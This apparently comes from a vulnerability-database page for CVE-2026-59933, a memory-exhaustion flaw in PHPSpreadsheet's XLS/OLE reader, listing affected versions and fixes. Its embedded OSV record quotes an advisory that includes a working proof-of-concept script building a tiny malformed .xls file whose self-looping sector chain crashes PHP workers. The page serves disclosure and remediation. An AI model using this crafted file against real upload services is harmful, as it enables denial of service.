CVE-2026-59933: PHPSpreadsheet XLS/OLE Sector-chain Self-loop Causes Memory Vulnerability
HIGHCVE-2026-59933 is a HIGH (CVSS 7.5) xls/ole sector-chain self-loop causes memory vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting PHPSpreadsheet libraries in the Packagist ecosystem. The issue involves xls/ole sector-chain self-loop causes memory exhaustion. Remediation is available by upgrading affected packages to version 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6.
CVE-2026-59933 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-59933
To remediate this vulnerability, upgrade all affected PHPSpreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade phpoffice/phpspreadsheet to 5.8.1
Upgrade phpoffice/phpspreadsheet to 3.10.7
Upgrade phpoffice/phpspreadsheet to 2.4.7
Upgrade phpoffice/phpspreadsheet to 2.1.18
Upgrade phpoffice/phpspreadsheet to 1.30.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for phpoffice/phpspreadsheet
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-59933, inspect your project dependencies for PHPSpreadsheet:
inspect dependencies for phpoffice/phpspreadsheet
Analyze the terminal output to locate any version of PHPSpreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.8.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In PHPSpreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-59933 Affected PHPSpreadsheet Versions
5 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 4.0.0
< 5.8.1
|
5.8.1
|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 3.3.0
< 3.10.7
|
3.10.7
|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 2.2.0
< 2.4.7
|
2.4.7
|
|
phpoffice/phpspreadsheet
|
Packagist |
≥ 2.0.0
< 2.1.18
|
2.1.18
|
|
phpoffice/phpspreadsheet
|
Packagist |
< 1.30.6
|
1.30.6
|
References
Frequently Asked Questions
What is CVE-2026-59933?
Which PHPSpreadsheet versions are affected?
What version fixes CVE-2026-59933?
Is phpoffice/phpspreadsheet affected?
What is the CVSS score of CVE-2026-59933?
What CWE is associated with CVE-2026-59933?
How can I check Packagist dependencies for CVE-2026-59933?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xh5m-36r6-47m3",
"modified" : "2026-07-23T15:01:50Z",
"published" : "2026-07-23T15:01:50Z",
"aliases" : [ "CVE-2026-59933" ],
"summary" : "PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion",
"details" : "## Summary\n\nPhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed `.xls`/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, `OLERead::read()` appends the same sector data repeatedly until the PHP process exhausts memory.\n\nThis is reachable from `Reader\\Xls::canRead()` and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.\n\n## Vulnerability details\n\n`OLERead::read()` loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:82` reads the entire file after validating only the OLE magic.\n- `src/PhpSpreadsheet/Shared/OLERead.php:84-97` reads sector-chain metadata from the file header.\n- `src/PhpSpreadsheet/Shared/OLERead.php:132-146` builds `bigBlockChain` and then follows the small-block depot chain.\n\nThe vulnerable loop is:\n\n```php\n$sbdBlock = $this->sbdStartBlock;\n$this->smallBlockChain = '';\nwhile ($sbdBlock != -2) {\n $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;\n\n $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);\n $pos += 4 * $bbs;\n\n $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);\n}\n```\n\nThere is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector `0` to sector `0`, the loop appends the same sector data forever until memory is exhausted.\n\nThe issue is reachable during normal reader detection/loading:\n\n- `src/PhpSpreadsheet/Reader/XlsBase.php:153-165` calls `OLERead::read()` from `canRead()`.\n- `src/PhpSpreadsheet/Reader/Xls.php:376-383` calls `OLERead::read()` from `loadOLE()`.\n- `src/PhpSpreadsheet/IOFactory.php:181-213` calls `canRead()` while creating a reader for a file, so automatic format detection can trigger the issue.\n\nSimilar unbounded sector-chain walks exist later in stream reading:\n\n- `src/PhpSpreadsheet/Shared/OLERead.php:175-180`\n- `src/PhpSpreadsheet/Shared/OLERead.php:198-202`\n- `src/PhpSpreadsheet/Shared/OLERead.php:218-222`\n\nThe proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.\n\n## Impact\n\nA 1 KiB file can crash a PHP worker during `Xls::canRead()` or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.\n\nThe issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.\n\n## Safe local proof of concept\n\nThis proof of concept uses only Docker with `--network none`; it creates the malformed OLE file inside the container and does not contact external infrastructure.\n\n```bash\ndocker run --rm --network none -i \\\n -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \\\n -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'\nset -eu\nphp -r '\n$data = str_repeat(\"\\0\", 1024);\n$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };\n$set(0, hex2bin(\"D0CF11E0A1B11AE1\"));\n$set(28, \"\\xfe\\xff\");\n$set(30, pack(\"v\", 9)); // sector size 512\n$set(32, pack(\"v\", 6)); // mini sector size 64\n$set(44, pack(\"l\", 1)); // 1 SAT sector\n$set(48, pack(\"l\", 0)); // directory first sector 0\n$set(56, pack(\"l\", 4096)); // mini stream cutoff\n$set(60, pack(\"l\", 0)); // SSAT first sector 0\n$set(64, pack(\"l\", 1)); // one SSAT sector\n$set(68, pack(\"l\", -2)); // no MSAT extension\n$set(72, pack(\"l\", 0)); // no extension sectors\n$set(76, pack(\"l\", 0)); // DIFAT says SAT is sector 0\n$set(512, pack(\"l\", 0)); // SAT entry for sector 0 points to itself\nfile_put_contents(\"/tmp/phpspreadsheet-ole-selfloop.xls\", $data);\nprintf(\"ole_size=%d\\n\", filesize(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n'\nphp -d memory_limit=64M -d display_errors=1 -r '\nrequire \"/app/vendor/autoload.php\";\n$r = new PhpOffice\\PhpSpreadsheet\\Reader\\Xls();\nvar_dump($r->canRead(\"/tmp/phpspreadsheet-ole-selfloop.xls\"));\n' 2>&1 || true\nSH\n```\n\nObserved output:\n\n```text\nole_size=1024\nPHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143\nPHP Stack trace:\nPHP 1. {main}() Command line code:0\nPHP 2. PhpOffice\\PhpSpreadsheet\\Reader\\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4\nPHP 3. PhpOffice\\PhpSpreadsheet\\Shared\\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164\n```\n\n## Suggested remediation\n\n- Validate every OLE sector-chain walk with:\n - a visited-sector set to reject cycles;\n - maximum chain length based on file size and sector size;\n - bounds checks before reading from `$this->data`, `$this->bigBlockChain`, or `$this->smallBlockChain`;\n - rejection of negative sector IDs other than the documented end-of-chain marker.\n- Replace fatal memory exhaustion with a recoverable `Reader\\Exception` for malformed OLE chains.\n- Apply the same guarded chain-walk helper to:\n - small-block depot chain construction;\n - small-block stream extraction;\n - big-block stream extraction;\n - `readData()`.\n- Add regression tests with self-looping and out-of-range SAT/SSAT chains.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "5.8.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.8.0"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.3.0"
}, {
"fixed" : "3.10.7"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.10.6"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.2.0"
}, {
"fixed" : "2.4.7"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.4.6"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0"
}, {
"fixed" : "2.1.18"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.1.17"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpoffice/phpspreadsheet"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.30.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.30.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-xh5m-36r6-47m3"
}, {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/85f2556b0bf5269061bf45932ecda8a128d81750"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet"
}, {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
}, {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
}, {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
}, {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
}, {
"type" : "WEB",
"url" : "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-835" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-23T15:01:50Z",
"nvd_published_at" : null
}
}